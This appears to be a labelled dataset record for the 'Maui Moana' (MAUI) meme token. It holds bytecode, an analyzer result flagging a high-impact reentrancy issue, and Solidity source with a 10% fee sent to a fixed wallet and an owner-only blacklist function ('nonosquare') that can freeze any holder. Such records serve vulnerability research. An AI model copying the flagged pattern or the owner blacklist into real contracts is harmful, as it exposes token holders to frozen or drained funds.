840191505092915050565b6000612f6d6023836134c0565b9150612f78826137bc565b604082019050919050565b6000612f90603f836134c0565b9150612f9b8261380b565b604082019050919050565b6000612fb3602a836134c0565b9150612fbe8261385a565b604082019050919050565b6000612fd6601c836134c0565b9150612fe1826138a9565b602082019050919050565b6000612ff96022836134c0565b9150613004826138d2565b604082019050919050565b600061301c6023836134c0565b915061302782613921565b604082019050919050565b600061303f601b836134c0565b915061304a82613970565b602082019050919050565b60006130626017836134c0565b915061306d82613999565b602082019050919050565b60006130856021836134c0565b9150613090826139c2565b604082019050919050565b60006130a86020836134c0565b91506130b382613a11565b602082019050919050565b60006130cb6029836134c0565b91506130d682613a3a565b604082019050919050565b60006130ee6025836134c0565b91506130f982613a89565b604082019050919050565b60006131116023836134c0565b915061311c82613ad8565b604082019050919050565b60006131346024836134c0565b915061313f82613b27565b604082019050919050565b61315381613624565b82525050565b6131628161362e565b82525050565b600060208201905061317d6000830184612e8d565b92915050565b60006020820190506131986000830184612efa565b92915050565b60006020820190506131b36000830184612f09565b92915050565b600060208201905081810360008301526131d38184612f27565b905092915050565b600060208201905081810360008301526131f481612f60565b9050919050565b6000602082019050818103600083015261321481612f83565b9050919050565b6000602082019050818103600083015261323481612fa6565b9050919050565b6000602082019050818103600083015261325481612fc9565b9050919050565b6000602082019050818103600083015261327481612fec565b9050919050565b600060208201905081810360008301526132948161300f565b9050919050565b600060208201905081810360008301526132b481613032565b9050919050565b600060208201905081810360008301526132d481613055565b9050919050565b600060208201905081810360008301526132f481613078565b9050919050565b600060208201905081810360008301526133148161309b565b9050919050565b60006020820190508181036000830152613334816130be565b9050919050565b60006020820190508181036000830152613354816130e1565b9050919050565b6000602082019050818103600083015261337481613104565b9050919050565b6000602082019050818103600083015261339481613127565b9050919050565b60006020820190506133b0600083018461314a565b92915050565b600060a0820190506133cb600083018861314a565b6133d86020830187612f18565b81810360408301526133ea8186612e9c565b90506133f96060830185612e8d565b613406608083018461314a565b9695505050505050565b60006020820190506134256000830184613159565b92915050565b6000613435613446565b905061344182826136a4565b919050565b6000604051905090565b600067ffffffffffffffff82111561346b5761346a61377c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134dc82613624565b91506134e783613624565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561351c5761351b61371e565b5b828201905092915050565b600061353282613624565b915061353d83613624565b92508261354d5761354c61374d565b5b828204905092915050565b600061356382613624565b915061356e83613624565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135a7576135a661371e565b5b828202905092915050565b60006135bd82613624565b91506135c883613624565b9250828210156135db576135da61371e565b5b828203905092915050565b60006135f182613604565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136468261364d565b9050919050565b600061365882613604565b9050919050565b600061366a82613624565b9050919050565b60005b8381101561368f578082015181840152602081019050613674565b8381111561369e576000848401525b50505050565b6136ad826137ab565b810181811067ffffffffffffffff821117156136cc576136cb61377c565b5b80604052505050565b60006136e082613624565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137135761371261371e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613b7f816135e6565b8114613b8a57600080fd5b50565b613b96816135f8565b8114613ba157600080fd5b50565b613bad81613624565b8114613bb857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cb20c4d6398fc63dd3b5101eabbc0cc13eaa7f53a893d96f92e2729baa3b07c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,516 |
0xe3a0112a6dd458244c2b2f4f7b55196a33b46385
|
/**
MAUI
Teamed up with Maui's power we can make the market bullish again. He loves eating dips and smashing jeets. Maui is also known for his positive energy and attitude.
Buying MAUI makes his muscles grow stronger. At some point MAUI will be strong enough to do buybacks and buy contests, in order to rekt more jeets!
Telegram: https://t.me/MauiETH
Twitter: https://twitter.com/EthMaui
Total supply: 1,000,000,000
Tax: 10.0%
Max Buy: 2%
Max Wallet: 3%
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MauiMoanaCA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Maui Moana";
string private constant _symbol = "MAUI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xd8C3CE0dA8FE37ceF60f9aA6aCa5DF107FE7ecb8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e2b565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612932565b6104b4565b60405161018e9190612e10565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612972565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128df565b61060c565b60405161021f9190612e10565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612845565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613042565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a15565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612845565b6109db565b6040516103199190612fcd565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d42565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e2b565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612932565b610c9a565b6040516103da9190612e10565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a15565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289f565b6113c3565b60405161046e9190612fcd565b60405180910390f35b60606040518060400160405280600a81526020017f4d617569204d6f616e6100000000000000000000000000000000000000000000815250905090565b60006104c86104c161144a565b8484611452565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0d565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61338a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e3565b91505061057a565b5050565b600061061984848461161d565b6106da8461062561144a565b6106d58560405180606001604052806028815260200161374960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b61144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb09092919063ffffffff16565b611452565b600190509392505050565b6106ed61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e661144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b61089861144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0d565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa61144a565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd9565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e45565b9050919050565b610a3461144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8761144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0d565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d41554900000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca761144a565b848461161d565b6001905092915050565b610cc061144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0d565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd261144a565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb3565b50565b610e1361144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0d565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611452565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612872565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612872565b6040518363ffffffff1660e01b81526004016110b4929190612d5d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612872565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612daf565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a42565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112776103e86112696014670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f819055506112ad6103e861129f601e670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136d929190612d86565b602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf91906129e8565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612ead565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116109190612fcd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490612e4d565b60405180910390fd5b60008111611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790612f2d565b60405180910390fd5b6000600a81905550600a600b81905550611758610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c65750611796610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119235750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119915750600e60179054906101000a900460ff165b15611acf57600f548111156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290612e6d565b60405180910390fd5b601054816119e8846109db565b6119f29190613103565b1115611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90612f6d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7e57600080fd5b601e42611a8b9190613103565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b7a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be6576000600a81905550600a600b819055505b6000611bf1306109db565b9050600e60159054906101000a900460ff16158015611c5e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ff